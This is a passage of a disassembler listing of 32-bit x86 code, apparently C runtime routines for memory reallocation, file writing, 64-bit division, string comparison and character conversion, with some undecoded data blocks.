		jz	short loc_4193FA
		and	byte ptr [eax],	0

loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------

loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	loc_41958F

loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_4CF020
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi

loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h

loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542

loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi

loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi

loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h

loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567

loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi

loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2810000h
		mov	edi, eax

loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588

loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_4CDA14, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------

loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi

loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_435EB4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------

loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi

loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h

loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588

loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi

loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		call	near ptr 2810000h
		nop
		mov	edi, eax

loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588

loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_4CDA14, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi

loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		call	near ptr 2810000h
		nop
		test	eax, eax
		jnz	short loc_4196EA

loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_4CDA14, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA

loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax

loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------

loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------

loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax

loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------

loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE

loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------

loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx

loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5

loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------

loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1

loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]

loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi

loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2690000h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 265031Fh
		push	eax
		call	sub_41EF44
		pop	ecx

loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_4CD9B4, 0Dh
		mov	dword_4CD9B8, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------

loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6

loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi

loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi

loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A

loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D

loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh

loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0

loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax

loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3

loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9

loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_4CDA48, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3

loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------

loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 265031Fh
		cmp	eax, 7Ah
		jz	short loc_419A44

loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_433C70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax

loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C

loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_4CDA48, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2630000h
		cmp	eax, esi
		jz	short loc_419A35

loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax

loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_433C3C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73

loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4CD9FC, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 2780DC9h
		push	eax
		nop
		call	near ptr 27D0B3Ah

loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4CD9F8, edi
		mov	byte_4CD9F4, bl
		jnz	short loc_419B78
		mov	eax, dword_4CF03C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_4CF038
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66

loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax

loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_4CF03C
		jnb	short loc_419B53

loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi

loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx

loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_4CD9FC, edi
		nop
		call	near ptr 77E75CB5h

loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax

loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------

loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27C0BE7h
		test	eax, eax
		jnz	short loc_419BD0
		nop
		call	near ptr 265031Fh
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------

loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax

loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 81A6B95Fh, 42C0C632h, 0E10C3189h, 64D24675h,	0A1h, 89645000h
		dd 25h,	58EC8300h, 89575653h, 0E890E865h, 2407F3Eh, 0D48AD233h
		dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h,	4CD9C8h
		dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h
		dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah,	59000000h
		dd 0E8FC7589h, 5967h, 407EA2E8h, 2CA39002h, 0E8004CF0h
		dd 5825h, 4CDA00A3h, 55CEE800h,	10E80000h, 0E8000055h
		dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 406377E8h,	54A1E802h
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 0E8905656h, 2306E75h, 49F7E850h, 4589FFFFh
		dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 52DFh, 8BC35959h, 75FFE865h,	0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_4CDA08, 1
		jnz	short loc_419CE8
		call	sub_41F84C

loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_433C60
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4CDA083Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0A5BF94E8h
		db 77h,	90h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
